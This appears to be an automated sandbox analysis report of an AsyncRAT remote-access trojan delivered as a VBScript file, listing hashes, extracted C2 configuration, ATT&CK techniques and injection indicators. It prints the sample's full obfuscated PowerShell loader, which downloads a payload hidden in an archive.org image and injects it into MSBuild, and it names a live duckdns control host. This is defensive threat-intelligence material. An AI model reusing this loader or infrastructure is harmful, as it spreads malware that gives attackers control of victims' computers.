asyncrat | b13e974aa3bb30239ff57db566dac32c1c19a2323eecbb785890224549444254

Analysis

max time kernel
100s
max time network
150s
platform
windows11-21h2_x64
resource
win11-20250610-en
resource tags

arch:x64arch:x86image:win11-20250610-enlocale:en-usos:windows11-21h2-x64system
submitted
19/06/2025, 06:55

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General

Target
WMIEventLog.vbs
Size 2.4MB
Sample250619-hp599ssjv2
SHA256 b13e974aa3bb30239ff57db566dac32c1c19a2323eecbb785890224549444254
MD5 dcf587c8cf3c39a2932f7faa06d60b39
SHA1 9ac2f9ee6024871d1a4a335954b9fe1b7ff8122e
SHA512 fa5e593c8708b3815cc333e74f62099617a1c312ea6d589366ddaed571ee12c91dd405578f75e7944999da85a7203235d0e0951b1d3e6b55fe14b5c05c87f6c5
SSDEEP 24576:H0k/vmVekKbMCjs+/S01TTyih25yOGYtCQOuVBqOfhKtKhon9jSXHwo+QKoUzOX2:XkekKq+KaCb5DrttJJKwaah+Toqj
MD5 SHA1 SHA512 SSDEEP

Score

10^/10

asyncrat news tar reg discovery execution rat

Malware Config

Extracted

Language

Deobfuscated

Source

URLs

ps1.dropper
https://archive.org/download/wp4096799-lost-in-space-wallpapers_20250617_0159/wp4096799-lost-in-space-wallpapers.jpg
exe.dropper
https://archive.org/download/wp4096799-lost-in-space-wallpapers_20250617_0159/wp4096799-lost-in-space-wallpapers.jpg

Extracted

Family

asyncrat

Version

1.0.7

Botnet

News Tar Reg

wmieventlogonlinehelp.duckdns.org:1000

Mutex

DcRatMutex_qwfwetcfdsty

Attributes

delay
1
install
false
install_folder
%AppData%

aes.plain

Signatures

AsyncRat
AsyncRAT is designed to remotely monitor and control other computers written in C#.
rat asyncrat
Asyncrat family
asyncrat

Blocklisted process makes network request 3 IoCs

flow	pid	Process
2	2904	powershell.exe
4	2904	powershell.exe
5	2904	powershell.exe

Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs

Run Powershell and hide display window.

execution

PowerShell

T1059.001

pid	Process
2904	powershell.exe

Suspicious use of SetThreadContext 1 IoCs

description	pid	Process	procid_target
PID 2904 set thread context of 4468	2904	powershell.exe	81

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

System Location Discovery: System Language Discovery 1 TTPs 1 IoCs

Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

discovery

System Language Discovery

T1614.001

description	ioc	Process
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	MSBuild.exe

Suspicious behavior: EnumeratesProcesses 2 IoCs

pid	Process
2904	powershell.exe
2904	powershell.exe

Suspicious use of AdjustPrivilegeToken 2 IoCs

description	pid	Process
Token: SeDebugPrivilege	2904	powershell.exe
Token: SeDebugPrivilege	4468	MSBuild.exe

Suspicious use of WriteProcessMemory 10 IoCs

description	pid	Process	procid_target
PID 2616 wrote to memory of 2904	2616	WScript.exe	79
PID 2616 wrote to memory of 2904	2616	WScript.exe	79
PID 2904 wrote to memory of 4468	2904	powershell.exe	81
PID 2904 wrote to memory of 4468	2904	powershell.exe	81
PID 2904 wrote to memory of 4468	2904	powershell.exe	81
PID 2904 wrote to memory of 4468	2904	powershell.exe	81
PID 2904 wrote to memory of 4468	2904	powershell.exe	81
PID 2904 wrote to memory of 4468	2904	powershell.exe	81
PID 2904 wrote to memory of 4468	2904	powershell.exe	81
PID 2904 wrote to memory of 4468	2904	powershell.exe	81

C:\Windows\System32\WScript.exe
"C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\WMIEventLog.vbs"
1⤵
- Suspicious use of WriteProcessMemory
PID:2616
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -w hidden -noprofile -ep bypass -c "$passivizes='JGthdGNpbmEgPSAnVmtGSic7JHN1YnN1bGN1cyA9IFtTeXN0ZW0uQ29udmVydF06OkZyb21CYXNlNjRTdHJpbmcoJGthdGNpbmEpOyRjYXJwb2xpdGh1cyA9IFtTeXN0ZW0uVGV4dC5FbmNvZGluZ106OlVURjguR2V0U3RyaW5nKCRzdWJzdWxjdXMpOyRjcmVhdGljID0gJ1pHNXNhV0l1U1U4dVNHOXRaUT09JzskdGhhbGFzc2lvcGh5dGEgPSBbU3lzdGVtLkNvbnZlcnRdOjpGcm9tYmFzZTY0U3RyaW5nKCRjcmVhdGljKTskZ2lwc2VuID0gW1N5c3RlbS5UZXh0LkVuY29kaW5nXTo6VVRGOC5HZXRTdHJpbmcoJHRoYWxhc3Npb3BoeXRhKTtBZGQtVHlwZSAtQXNzZW1ibHlOYW1lIFN5c3RlbS5EcmF3aW5nOyRwZXJlc2tpYT0naHR0cHM6Ly9hcmNoaXZlLm9yZy9kb3dubG9hZC93cDQwOTY3OTktbG9zdC1pbi1zcGFjZS13YWxscGFwZXJzXzIwMjUwNjE3XzAxNTkvd3A0MDk2Nzk5LWxvc3QtaW4tc3BhY2Utd2FsbHBhcGVycy5qcGcnOyRrZXRlcmluPU5ldy1PYmplY3QgU3lzdGVtLk5ldC5XZWJDbGllbnQ7JGtldGVyaW4uSGVhZGVycy5BZGQoJ1VzZXItQWdlbnQnLCdNb3ppbGxhLzUuMCcpOyRsZXB0b2RvcmE9JGtldGVyaW4uRG93bmxvYWREYXRhKCRwZXJlc2tpYSk7JG9mZmljZXNlZWtlcnM9W2J5dGVbXV0oMHg0MiwgMHg0RCwgMHg3RSwgMHg2OCwgMHg0MCwgMHgwMCwgMHgwMCwgMHgwMCwgMHgwMCwgMHgwMCwgMHgzNiwgMHgwMCwgMHgwMCwgMHgwMCwgMHgyOCwgMHgwMCk7JG15Y29waGVub2xhdGU9LTE7Zm9yKCRUb3JyYW5jZT0wOyRUb3JyYW5jZSAtbGUgJGxlcHRvZG9yYS5MZW5ndGgtJG9mZmljZXNlZWtlcnMuTGVuZ3RoOyRUb3JyYW5jZSsrKXsgJHBzeWNob2dyYXBoPSR0cnVlO2ZvcigkZW1iYXJxdWVtZW50PTA7JGVtYmFycXVlbWVudCAtbHQgJG9mZmljZXNlZWtlcnMuTGVuZ3RoOyRlbWJhcnF1ZW1lbnQrKyl7aWYoJGxlcHRvZG9yYVskVG9ycmFuY2UrJGVtYmFycXVlbWVudF0gLW5lICRvZmZpY2VzZWVrZXJzWyRlbWJhcnF1ZW1lbnRdKXskcHN5Y2hvZ3JhcGg9JFZlcmFjcnV6O2JyZWFrfX1pZigkcHN5Y2hvZ3JhcGgpeyRteWNvcGhlbm9sYXRlPSRUb3JyYW5jZTticmVha319aWYoJG15Y29waGVub2xhdGUgLWVxIC0xKXtyZXR1cm59OyRwb2x5Y2VyYT0kbGVwdG9kb3JhWyRteWNvcGhlbm9sYXRlLi4oJGxlcHRvZG9yYS5MZW5ndGgtMSldOyRncm91bmRjaGVycmllcz1OZXctT2JqZWN0IElPLk1lbW9yeVN0cmVhbTskZ3JvdW5kY2hlcnJpZXMuV3JpdGUoJHBvbHljZXJhLDAsJHBvbHljZXJhLkxlbmd0aCk7JGdyb3VuZGNoZXJyaWVzLlNlZWsoMCwnQmVnaW4nKXxPdXQtTnVsbDskZGlsbGVuaWlkYWU9W0RyYXdpbmcuQml0bWFwXTo6RnJvbVN0cmVhbSgkZ3JvdW5kY2hlcnJpZXMpOyRCcml0Y29tcz1OZXctT2JqZWN0IENvbGxlY3Rpb25zLkdlbmVyaWMuTGlzdFtCeXRlXTtmb3IoJG11c2NhcmluPTA7JG11c2NhcmluIC1sdCAkZGlsbGVuaWlkYWUuSGVpZ2h0OyRtdXNjYXJpbisrKXtmb3IoJENoaWJlbWJhPTA7JENoaWJlbWJhIC1sdCAkZGlsbGVuaWlkYWUuV2lkdGg7JENoaWJlbWJhKyspeyRoYWlyeWJhaXQ9JGRpbGxlbmlpZGFlLkdldFBpeGVsKCRDaGliZW1iYSwkbXVzY2FyaW4pOyRCcml0Y29tcy5BZGQoJGhhaXJ5YmFpdC5SKTskQnJpdGNvbXMuQWRkKCRoYWlyeWJhaXQuRyk7JEJyaXRjb21zLkFkZCgkaGFpcnliYWl0LkIpfX07JHFlcGlxcz1bQml0Q29udmVydGVyXTo6VG9JbnQzMigkQnJpdGNvbXMuR2V0UmFuZ2UoMCw0KS5Ub0FycmF5KCksMCk7JHNlYW1vdW50PSRCcml0Y29tcy5HZXRSYW5nZSg0LCRxZXBpcXMpLlRvQXJyYXkoKTskT3phcmtzPVtDb252ZXJ0XTo6VG9CYXNlNjRTdHJpbmcoJHNlYW1vdW50KS5SZXBsYWNlKCdBJywnQCcpLlJlcGxhY2UoJ0AnLCdBJyk7JGZyaWdodGxlc3M9JzBoSGR1RXpZUWRXWlNOR1J2TVhZelZHY3kxV1p2OTJZdkVuZDZOM2N6ZFdkM0ZIYW9Oelk8Pk4zZHVKRGQyeG1NeklIZTFwMkwzRm1jdjhXYXVVbWNoaDJjcUozYjBObkxyNVdhczl5TDZNSGMwUkhhJy5SZXBsYWNlKCc8PicsJ3QnKTskZW1icm9pZD1bQ29udmVydF06OkZyb21CYXNlNjRTdHJpbmcoJE96YXJrcyk7JEF0a2lucz1bUmVmbGVjdGlvbi5Bc3NlbWJseV06OkxvYWQoJGVtYnJvaWQpOyR1bmFjdGl2ZW5lc3M9QCgkZnJpZ2h0bGVzcywnJywnJywnJywnTVNCdWlsZCcsJycsJycsJycsJycsJ0M6XFVzZXJzXFB1YmxpY1xEb3dubG9hZHMnLCdyZXRydXNlJywndmJzJywnJywnJywnbm9uaW50ZWxsaWdlbnQnLCcyJywnJyk7JEF0a2lucy5HZXRUeXBlKCRnaXBzZW4pLkdldE1ldGhvZCgkY2FycG9saXRodXMpLkludm9rZSgkdHJpYWxhdGUsJHVuYWN0aXZlbmVzcyk7JGRpbGxlbmlpZGFlLkRpc3Bvc2UoKTskZ3JvdW5kY2hlcnJpZXMuRGlzcG9zZSgp';$impassably=[System.Text.Encoding]::UTF8.GetString([System.Convert]::FromBase64String($passivizes));Invoke-Expression $impassably"
  2⤵
  - Blocklisted process makes network request
  - Command and Scripting Interpreter: PowerShell
  - Suspicious use of SetThreadContext
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  - Suspicious use of WriteProcessMemory
  PID:2904
- - C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe
    "C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe"
    3⤵
    - System Location Discovery: System Language Discovery
    - Suspicious use of AdjustPrivilegeToken
    PID:4468

Network

MITRE ATT&CK Enterprise v16

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

PowerShell

T1059.001

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

System Information Discovery

T1082

System Location Discovery

T1614

System Language Discovery

T1614.001

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

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Downloads

__PSScriptPolicyTest_pe01gi1h.xak.ps1

Path C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_pe01gi1h.xak.ps1
Size 60B
SHA256 96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
MD5 d17fe0a3f47be24a6453e9ef58c94641
SHA1 6ab83620379fc69f80c0242105ddffd7d98d5d9d
SHA512 5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82
MD5 SHA1 SHA512

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memory/2904-15-0x00007FFF5F130000-0x00007FFF5FBF2000-memory.dmp

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memory/2904-17-0x0000026432D00000-0x000002643310C000-memory.dmp

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memory/2904-10-0x00007FFF5F130000-0x00007FFF5FBF2000-memory.dmp

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memory/2904-11-0x00007FFF5F130000-0x00007FFF5FBF2000-memory.dmp

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memory/2904-12-0x00007FFF5F130000-0x00007FFF5FBF2000-memory.dmp

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memory/2904-13-0x00007FFF5F133000-0x00007FFF5F135000-memory.dmp

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memory/2904-1-0x0000026412070000-0x0000026412092000-memory.dmp

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memory/2904-14-0x00007FFF5F130000-0x00007FFF5FBF2000-memory.dmp

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memory/2904-16-0x00007FFF5F130000-0x00007FFF5FBF2000-memory.dmp

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memory/2904-0-0x00007FFF5F133000-0x00007FFF5F135000-memory.dmp

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memory/2904-21-0x00007FFF5F130000-0x00007FFF5FBF2000-memory.dmp

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memory/2904-22-0x00007FFF5F130000-0x00007FFF5FBF2000-memory.dmp

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memory/4468-18-0x0000000000400000-0x0000000000412000-memory.dmp

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memory/4468-25-0x0000000005460000-0x00000000054FC000-memory.dmp

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memory/4468-26-0x0000000005E10000-0x00000000063B6000-memory.dmp

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memory/4468-27-0x00000000058D0000-0x0000000005936000-memory.dmp

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